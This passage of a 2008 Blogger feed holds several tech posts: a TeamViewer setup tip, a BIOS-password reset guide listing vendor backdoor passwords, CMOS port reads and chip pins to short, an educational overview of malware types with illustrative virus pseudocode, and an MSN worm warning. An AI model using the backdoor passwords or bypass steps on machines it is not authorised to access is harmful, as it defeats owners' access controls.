/&gt;&lt;br /&gt;The password that you provide during your installation is: mycomp123&lt;br /&gt;The password that your mom provides during the installation at home is: homepc123&lt;br /&gt;&lt;br /&gt;After installation, it will give you a number (your identification) that the remote computer will use to connect to your computer. Note this down for yourself and, ask your mom for her TeamViewer ID and password (homepc123).&lt;br /&gt;&lt;br /&gt;TeamViewer should be running on your mom's pc for you to connect to that.&lt;br /&gt;&lt;br /&gt;Once you connect, it will ask you for the authentication password. Enter homepc123 and that is it! You are now connected, and can take the complete control of the home pc. :-)&lt;br /&gt;&lt;br /&gt;There are several other options, including, VPN, File transfer. Try that for yourself.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-5205470639145953267?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/5205470639145953267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=5205470639145953267&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5205470639145953267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5205470639145953267'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/03/teamviewer.html' title='TeamViewer'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-5836306170154071009</id><published>2008-03-11T23:32:00.003+05:30</published><updated>2008-03-12T09:54:54.495+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='BIOS'/><title type='text'>Resetting BIOS Passwords</title><content type='html'>The best method to reset a BIOS password depends on what BIOS the computer has. Common BIOS's include AMI, Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are the most common.&lt;br /&gt;&lt;br /&gt;Some BIOS's allow you to require a password be entered before the system will boot. Some BIOS's allow you to require a password to be entered before the BIOS setup may be accessed.&lt;br /&gt;&lt;br /&gt;The general categories of solutions to reset a BIOS password are:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Using a Backdoor BIOS Password&lt;/li&gt;&lt;li&gt;Resetting the BIOS Password using Software&lt;/li&gt;&lt;li&gt;Resetting the BIOS Password using Hardware&lt;/li&gt;&lt;li&gt;Vendor Specific Solutions for resetting the BIOS Password &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Using a Backdoor BIOS Password&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Some BIOS manufacturers implement a backdoor password. The backdoor password is a BIOS password that works, no matter what the user sets the BIOS password to. These passwords are typically used for testing and maintenance. Manufacturers typically change the backdoor BIOS passwords from time to time.&lt;br /&gt;&lt;br /&gt;AMI Backdoor BIOS Passwords:&lt;br /&gt;&lt;br /&gt;Reported AMI backdoor BIOS passwords include A.M.I., AAAMMMIII, AMI?SW , AMI_SW, BIOS, CONDO, HEWITT RAND, LKWPETER, MI, and PASSWORD.&lt;br /&gt;&lt;br /&gt;Award Backdoor BIOS Passwords:&lt;br /&gt;&lt;br /&gt;One reported Award backdoor BIOS password is eight spaces. Other reported Award backdoor BIOS passwords include 01322222, 589589, 589721, 595595, 598598 , ALFAROME, ALLY, ALLy, aLLY, aLLy, aPAf, award, AWARD PW, AWARD SW, AWARD?SW, AWARD_PW, AWARD_SW, AWKWARD, awkward, BIOSTAR, CONCAT, CONDO, Condo, condo, d8on, djonet, HLT, J256, J262, j262, j322, j332, J64, KDD, LKWPETER, Lkwpeter, PINT, pint, SER, SKY_FOX, SYXZ, syxz, TTPTHA, ZAAAADA, ZAAADA, ZBAAACA, and ZJAAADC.&lt;br /&gt;&lt;br /&gt;Phoenix Backdoor BIOS Passwords:&lt;br /&gt;&lt;br /&gt;Reported Phoenix BIOS backdoor passwords include BIOS, CMOS, phoenix, and PHOENIX.&lt;br /&gt;&lt;br /&gt;Backdoor BIOS Passwords from Other Manufacturers:&lt;br /&gt;&lt;br /&gt;Reported BIOS backdoor passwords for other manufacturers include:&lt;br /&gt;&lt;br /&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;Manufacturer&lt;/th&gt;&lt;th&gt;BIOS Password&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;VOBIS &amp;amp; IBM&lt;/td&gt;&lt;td&gt;merlin&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dell&lt;/td&gt;&lt;td&gt;Dell&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Biostar&lt;/td&gt;&lt;td&gt;Biostar&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Compaq&lt;/td&gt;&lt;td&gt;Compaq&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Enox&lt;/td&gt;&lt;td&gt;xo11nE&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Epox&lt;/td&gt;&lt;td&gt;central&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Freetech&lt;/td&gt;&lt;td&gt;Posterie&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;IWill&lt;/td&gt;&lt;td&gt;iwill&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Jetway&lt;/td&gt;&lt;td&gt;spooml&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Packard Bell&lt;/td&gt;&lt;td&gt;bell9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;QDI&lt;/td&gt;&lt;td&gt;QDI&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Siemens&lt;/td&gt;&lt;td&gt;SKY_FOX&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SOYO&lt;/td&gt;&lt;td&gt;SY_MB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMC&lt;/td&gt;&lt;td&gt;BIGO&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Toshiba&lt;/td&gt;&lt;td&gt;Toshiba&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;Remember that what you see listed may not be the actual backdoor BIOS password, this BIOS password may simply have the same checksum as the real backdoor BIOS password. For Award BIOS, this checksum is stored at F000:EC60.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resetting the BIOS Password using Software&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Every system must store the BIOS password information somewhere. If you are able to access the machine after it has been booted successfully, you may be able to view the BIOS password. You must know the memory address where the BIOS password is stored, and the format in which the BIOS password is stored. Or, you must have a program that knows these things.&lt;br /&gt;&lt;br /&gt;You can write your own program to read the BIOS password from the CMOS memory on a PC by writing the address of the byte of CMOS memory that you wish to read in port 0x370, and then reading the contents of port 0x371.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.11a.nu/software/bios-pc-bios-security-and-maintanance-toolkit/"&gt;!BIOS&lt;/a&gt; will recover the BIOS password for most common BIOS versions, including IBM, American Megatrends Inc, Award and Phoenix.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cgsecurity.org/wiki/CmosPwd"&gt;CmosPwd &lt;/a&gt;will recover the BIOS password for the following BIOS versions:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;ACER/IBM BIOS&lt;/li&gt;&lt;li&gt;AMI BIOS&lt;/li&gt;&lt;li&gt;AMI WinBIOS 2.5&lt;/li&gt;&lt;li&gt;Award 4.5x/4.6x/6.0&lt;/li&gt;&lt;li&gt;Compaq (1992)&lt;/li&gt;&lt;li&gt;Compaq (New version)&lt;/li&gt;&lt;li&gt;IBM (PS/2, Activa, Thinkpad)&lt;/li&gt;&lt;li&gt;Packard Bell&lt;/li&gt;&lt;li&gt;Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943, 4.06 rev 1.13.1107&lt;/li&gt;&lt;li&gt;Phoenix 4 release 6 (User)&lt;/li&gt;&lt;li&gt;Gateway Solo - Phoenix 4.0 release 6&lt;/li&gt;&lt;li&gt;   Toshiba&lt;/li&gt;&lt;li&gt;Zenith AMI&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resetting the BIOS Password using Hardware&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you cannot access the machine after if has been powered up, it is still possible to get past the BIOS password. The BIOS password is stored in CMOS memory that is maintained while the PC is powered off by a small battery, which is attached to the motherboard. If you remove this battery, all CMOS information (including the BIOS password) will be lost. You will need to re-enter the correct CMOS setup information to use the machine. The machines owner or user will most likely be alarmed when it is discovered that the BIOS password has been deleted.&lt;br /&gt;&lt;br /&gt;On some motherboards, the battery is soldered to the motherboard, making it difficult to remove. If this is the case, you have another alternative. Somewhere on the motherboard you should find a jumper that will clear the BIOS password. If you have the motherboard documentation, you will know where that jumper is. If not, the jumper may be labeled on the motherboard. If you are not fortunate enough for either of these to be the case, you may be able to guess which jumper is the correct jumper. This jumper is usually standing alone near the battery. If you cannot locate this jumper, you might short both of the points where the battery connects to the motherboard.&lt;br /&gt;&lt;br /&gt;If all else fails, you may have to clear the BIOS password by resetting the RTC (Real Time Clock) IC (Integrated Circuit) on your motherboard.&lt;br /&gt;&lt;br /&gt;Many RTC's require an external battery. If your RTC is one of this type, you can clear the BIOS password just by unsocketing the RTC and reseating it.&lt;br /&gt;&lt;br /&gt;RTC's which require external batteries include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.embeddedsys.com/subpages/resources/images/documents/DS12885_datasheet.pdf"&gt;Dallas Semiconductor DS12885S&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www-s.ti.com/sc/ds/bq3285.pdf"&gt;TI benchmarq bq3258S&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Motorola MC146818AP&lt;/li&gt;&lt;li&gt;Hitachi HD146818AP&lt;/li&gt;&lt;li&gt;Samsung KS82C6818A&lt;/li&gt;&lt;/ul&gt;Most RTC chips with integrated batteries can be reset to clear the BIOS password by shorting two pins together for a few seconds.&lt;br /&gt;&lt;br /&gt;You will see more than one option for some chips due to testing by various people in the field. Remember to remove power from the system before shorting these pins.&lt;br /&gt;&lt;br /&gt;&lt;table style="width: 428px; height: 259px;" border="1" cellpadding="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;RTC Chip&lt;/th&gt;&lt;th&gt;Pins&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dallas DS1287A&lt;br /&gt;&lt;a href="http://focus.ti.com/lit/ds/symlink/bq3287a.pdf" rel="nofollow" target="_blank"&gt;TI benchmarq bp3287AMT&lt;/a&gt;&lt;/td&gt;&lt;td&gt;3 (N.C.) and 21 (NC/RCL)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Chips &amp;amp; Technologies P82C206&lt;/td&gt;&lt;td&gt;12 (GND) and 32 (5V)&lt;br /&gt;-or-&lt;br /&gt;74 (GND) and 75 (5V)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OPTi F82C206&lt;/td&gt;&lt;td&gt;3 and 26&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://pdfserv.maxim-ic.com/en/ds/DS12887A.pdf" rel="nofollow" target="_blank"&gt;Dallas Semiconductor DS12887A&lt;/a&gt;&lt;/td&gt;&lt;td&gt;3 (N.C.) and 21 (RCLR)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;You should be able to discover how to reset the BIOS password stored in most RTC (Real Time Clock) chips by reading the manufacturers data sheet for that RTC. Some RTC's, like the Dallas DS1287 and TI benchmarq bq3287mt cannot be cleared. The solution to resetting the BIOS password on systems with those RTC's is to purchase a replacement RTC chip. How inconvenient!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-5836306170154071009?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/5836306170154071009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=5836306170154071009&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5836306170154071009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5836306170154071009'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/03/resetting-bios-passwords.html' title='Resetting BIOS Passwords'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-3423199900994960667</id><published>2008-02-29T10:07:00.001+05:30</published><updated>2010-03-27T14:01:17.103+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>Viruses, Worms and Trojans</title><content type='html'>Unix.  The world’s first computer virus.Title of Chapter 1 of The Unix Haters Handbook, ISBN: 1-56884-203-1&lt;br /&gt;&lt;br /&gt;The above is indeed the title of a chapter! The book is in fact written by serious computer scientists. Nevertheless, we must disregard the suggestion that Unix is a virus as an attempt at being hilarious. Equally unhelpful are the news media that use the term virus in referring to any piece of malicious software. The academic world uses the term “malware” for these. Rigorous definitions have been given by many computer security experts but they do not match the typical use even by other security experts. Thus, we must settle for practical “definitions” of malicious software.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Definitions&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Security tools&lt;/span&gt; are designed to be used to protect computer systems and networks. These can also be used by unauthorized individuals to probe for weaknesses. Many of the programs that fall in the malware categories below have benevolent uses. For example, worms can be used to distribute computation on idle processors; back doors are useful for debugging programs; and viruses can be written to update source code and patch bugs. The purpose, not the approach, makes a program malicious.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Back doors&lt;/span&gt;, sometimes called trap doors, allow unauthorized access to your system.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Logic bombs&lt;/span&gt; are programmed threats that lie dormant for an extended period of time until they are triggered; at this point, they perform a function that is not the intended function of the program in which they are contained. Logic bombs usually are embedded in programs by software developers who have legitimate access to the system.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Viruses&lt;/span&gt; are “programs” that modify other programs on a computer, inserting copies of themselves. A program is a file that adheres to a strict description of how its content is organized. On Linux systems, the ELF document of some 50-pages describes this format. In this sense, viruses are not programs - they cannot run on their own, and need to become part of some host program. When such an infected program is executed, the virus attaches itself to another and so on.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;A worm&lt;/span&gt; is a malicious program that copies itself from one computer to another on a network. A worm is an independent program, in the sense described above, unlike a virus which is a part-program that must insert itself into a whole-program. A worm typically does not modify other programs. A typical worm may carry other code, including programs and viruses.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Trojan horses&lt;/span&gt; are programs that appear to have one function but actually perform another function. Trojan horses are named after the Trojan horse of the Greek Trojan War.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Bacteria, or rabbit programs&lt;/span&gt;, make copies of themselves to overwhelm a computer system’s resources. Bacteria do not explicitly damage any files. Their sole purpose is to replicate themselves. A typical bacteria program may do nothing more than execute two copies of itself simultaneously on multiprogramming systems, or perhaps create two new files, each of which is a copy of the original source file of the bacteria program. Both of those programs then may copy themselves twice, and so on. Bacteria reproduce exponentially, eventually taking up all the processor capacity, memory, or disk space, denying the user access to those resources.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;A dropper&lt;/span&gt; is a program that is not a virus, nor is it infected with a virus, but when run it installs a virus into memory, on to the disk, or into a file. Droppers have been written sometimes as a convenient carrier for a virus, and sometimes as an act of sabotage. Some anti-virus programs try to detect droppers.&lt;br /&gt;&lt;br /&gt;[From &lt;a href="http://securityresponse.symantec.com/avcenter/refa.html"&gt;http://securityresponse.symantec.com/avcenter/refa.html&lt;/a&gt; ] “Blended threats combine the characteristics of viruses, worms, Trojan Horses, and malicious code with server and Internet vulnerabilities to initiate, transmit, and spread an attack. By using multiple methods and techniques, blended threats can rapidly spread and cause widespread damage. Characteristics of blended threats include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Causes harm:&lt;/span&gt; Launches a Denial of Service (DoS) attack at a target IP address, defaces Web servers, or plants Trojan Horse programs for later execution.&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Propagates by multiple methods:&lt;/span&gt; Scans for vulnerabilities to compromise a system, such as embedding code in HTML files on a server, infecting visitors to a compromised Web site, or sending unauthorized email from compromised servers with a worm attachment.&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Attacks from multiple points:&lt;/span&gt; Injects malicious code into the .exe files on a system, raises the privilege level of the guest account, creates world read and writeable network shares, makes numerous registry changes, and adds script code into HTML files.&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Spreads without human intervention:&lt;/span&gt; Continuously scans the Internet for vulnerable servers to attack.&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Exploits vulnerabilities:&lt;/span&gt; Takes advantage of known vulnerabilities, such as buffer overflows, HTTP input validation vulnerabilities, and known default passwords to gain unauthorized administrative access. Effective protection from blended threats requires a comprehensive security solution that contains multiple layers of defense and response mechanisms.”&lt;/li&gt;&lt;/ul&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Virus Varieties&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Stealth Virus&lt;br /&gt;&lt;/span&gt;A stealth virus has code in it that seeks to conceal itself from discovery or defends itself against attempts to analyze or remove it. The stealth virus adds itself to a file or boot sector but, when you examine, it appears normal and unchanged. The stealth virus performs this trickery by staying in memory after it is executed. From there, it monitors and intercepts your system calls. When the system seeks to open an infected file, the stealth virus displays the uninfected version, thus hiding itself.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Macro Viruses&lt;br /&gt;&lt;/span&gt;Macro languages are (often) equal in power to ordinary programming languages such as C. A program written in a macro language is interpreted by the application. Macro languages are conceptually no different from so-called scripting languages. Gnu Emacs uses Lisp, most Microsoft applications use Visual Basic Script as macro languages. The typical use of a macro in applications, such as MS Word, is to extend the features of the application. Some of these macros, known as auto-execute macros, are executed in response to some event, such as opening a file, closing a file, starting an application, and even pressing a certain key. A macro virus is a piece of self-replicating code inserted into an auto-execute macro. Once a macro is running, it copies itself to other documents, delete files, etc. Another type of hazardous macro is one named for an existing command of the application. For example, if a macro named FileSave exists in the “normal.dot” template of MS Word, that macro is executed whenever you choose the Save command on the File menu. Unfortunately, there is often no way to disable such features.&lt;br /&gt;In May 2000, an OutLook mail program macro virus called LOVELETTER propagated widely.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Unix/Linux Viruses&lt;br /&gt;&lt;/span&gt;The most famous of the security incidents in the last decade was the Internet Worm incident which began from a Unix system. But Unix systems were considered virus-immune — not so. Several Linux viruses have been discovered. The Staog virus first appeared in 1996 and was written in assembly language by the VLAD virus writing group, the same group responsible for creating the first Windows 95 virus called Boza.&lt;br /&gt;&lt;br /&gt;Like the Boza virus, the Staog virus is a proof-of-concept virus to demonstrate the potential of Linux virus writing without actually causing any real damage. Still, with the Staog assembly language source code floating around the Internet, other virus writers are likely to study and modify the code to create new strains of Linux viruses in the future.&lt;br /&gt;&lt;br /&gt;The second known Linux virus is called the Bliss virus. Unlike the Staog virus, the Bliss virus can not only spread in the wild, but also possesses a potentially dangerous payload that could wipe out data.&lt;br /&gt;&lt;br /&gt;While neither virus is a serious threat to Linux systems, Linux and other Unix systems will not remain virus-free. Fortunately, Linux virus writing is more difficult than macro virus writing for Windows, so the greatest virus threat still remains with Windows. [July 2000, &lt;a href="http://www.boardwatch.com/mag/2000/jul/bwm142pg2.html"&gt;http://www.boardwatch .com/ mag/ 2000/ jul/ bwm142pg2.html&lt;/a&gt; ]&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;&lt;strong&gt;Spreading Malware via the Internet&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;Whereas a Trojan horse is delivered pre-built, a virus infects. In the past, such malicious programs arrived via tapes and disks, and the spread of a virus around the world took many months. Antivirus companies had time to identify a new viral strain, and create cleaning procedures. Today, Trojan horses, and viruses are network deliverable as E-mail, Java applets, ActiveX controls, JavaScripted pages, CGI-BIN scripts, or as self-extracting packages.&lt;br /&gt;&lt;br /&gt;Integrated mail systems such as Microsoft Outlook make it very simple to send not only a quick note edited within a limited text editor but also previously composed computer documents of arbitrary complexity to anyone, and to work with objects that you receive via standards such as MIME. They also support application programming interfaces (such as MAPI) that allow programs to send and process mail automatically. Well over 500 million E-mail messages are delivered daily in July 2000.&lt;br /&gt;&lt;br /&gt;Mobile-program systems are becoming more and more widespread. The most widely-hyped examples today are Java and ActiveX. This technology became popular with Web servers and browsers, but it is now integrated (e.g., Java into Lotus Notes, and ActiveX into Outlook) mail systems. Both Java and ActiveX have been found to have security bugs.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Structure of Viruses&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Here is a simple structure of a virus. In the infected binary, at a known byte location in the file, a virus inserts a signature byte used to determine if a potential carrier program has been previously infected.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;V()&lt;br /&gt;{&lt;br /&gt;infectExecutable();&lt;br /&gt;if (triggered())&lt;br /&gt;{&lt;br /&gt;doDamage();&lt;br /&gt;}&lt;br /&gt;jump to main of infected program;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void infectExecutable()&lt;br /&gt;{&lt;br /&gt;file = chose an uninfected executable file;&lt;br /&gt;prepend V to file;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void doDamage()&lt;br /&gt;{&lt;br /&gt;…&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int triggered()&lt;br /&gt;{&lt;br /&gt;return (some test? 1 : 0);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;The above virus makes the infected file longer than it was, making it easy to spot. There are many techniques to leave the file length and even a check sum unchanged and yet infect. For example, many executable files often contain long sequences of zero bytes, which can be replaced by the virus and re-generated. It is also possible to compress the original executable code like the typical Zip programs do, and uncompress before execution and pad with bytes so that the check sum comes out to be what it was.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;Virus Detection&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Known viruses are by far the most common security problem on modern computer systems. Several web sites maintain complete lists of known viruses. There are thousands. Visit, e.g., &lt;a href="http://www.cai.com/virusinfo/encyclopedia/"&gt;www.cai.com/ virusinfo/ encyclopedia/&lt;/a&gt;.  In the month of July 2000, there were 200+ “PC Viruses in the Wild” (&lt;a href="http://www.wildlist.org/"&gt;www. wildlist. org&lt;/a&gt;).  Virus detection programs analyze a suspect program for the presence of known viruses.&lt;br /&gt;&lt;br /&gt;Fred Cohen has proven mathematically that perfect detection of unknown viruses is impossible: no program can look at other programs and say either “a virus is present” or “no virus is present”, and always be correct. But, in the real world, most new viruses are sufficiently like old viruses that the same sort of scanning that finds known viruses also finds the new ones. And there are a large number of heuristic tricks that anti-virus programs use to detect new viruses, based either on how they look, or what they do. These heuristics are only sometimes successful, but since brand-new viruses are comparatively rare, they are sufficient to the purpose.&lt;br /&gt;&lt;br /&gt;Virus scanners are sometimes classified by their “generation.” The first generation virus scanners used previously obtained a virus signature, a bit pattern, to detect a known virus. They record and check the length of all executables. The second generation scans executables with heuristic rules, looking, e.g., for fragments of code associated with a typical virus. They also do integrity checking by calculating a checksum of a program and storing somewhere else the encrypted checksum. The third generation use a memory resident program to monitor the execution behavior of programs to identify a virus by the types of action that the virus takes. The fourth Generation Virus Detection combines all previous approaches and includes access control capabilities.&lt;br /&gt;&lt;br /&gt;It is very educational to study the details of a scanner. The paper by Sandeep Kumar, and Gene Spafford, “A Generic Virus Scanner in C++,” Proceedings of the 8th Computer Security Applications Conference, IEEE Press, Piscataway, NJ; pp. 210-219, 2-4 Dec 1992 [&lt;a href="http://www.cs.wright.edu/%7Epmateti/InternetSecurity/Lectures/Viruses/virusScanner.pdf"&gt;paper&lt;/a&gt;] is required reading.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-3423199900994960667?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/3423199900994960667/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=3423199900994960667&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3423199900994960667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3423199900994960667'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/03/viruses-worms-and-trojans.html' title='Viruses, Worms and Trojans'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-3371602993205987975</id><published>2008-02-24T07:35:00.000+05:30</published><updated>2008-03-01T10:21:45.432+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>Another MSN worm spreading rapidly</title><content type='html'>Another MSN worm spreading with the same tactics as usual, “Wanna see my pictures before i send em to facebook?” and so on.&lt;br /&gt;&lt;br /&gt;The only really interesting thing about this worm is it sends the message in the language of the locale installed on the infected machine, this is pretty intelligent and is much more likely to work as most of the people on sometimes contact list are probably from the same country or at least use the same language&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=BKDR_IRCBOT.RB"&gt;IRCBOT-RB&lt;/a&gt; Trojan poses as messages containing links to pictures on social networking sites such as MySpace and Facebook. Typical come-ons involve messages such as “Wanna see my pictures before i send em to facebook?”. Clicking on a link takes users to booby-trapped websites.&lt;br /&gt;&lt;br /&gt;Unusually, the polyglot malware changes these messages according to the language of the affected operating system used. Compromised machines are infected by a simple bot agent that leaves the hardware hooked up to a central control server, awaiting instructions.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This would mean it’s much more believable than someone who speaks Portuguese to their friends sending a message in English. As usual please educate people not to blindly follow or click links and definitely don’t accept files sent by friends on MSN/Yahoo! or AIM as they are most likely auto-generated by a trojan.&lt;br /&gt;&lt;br /&gt;Do message the person back manually and ask them if they really sent it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-3371602993205987975?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/3371602993205987975/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=3371602993205987975&amp;isPopup=true' title='0 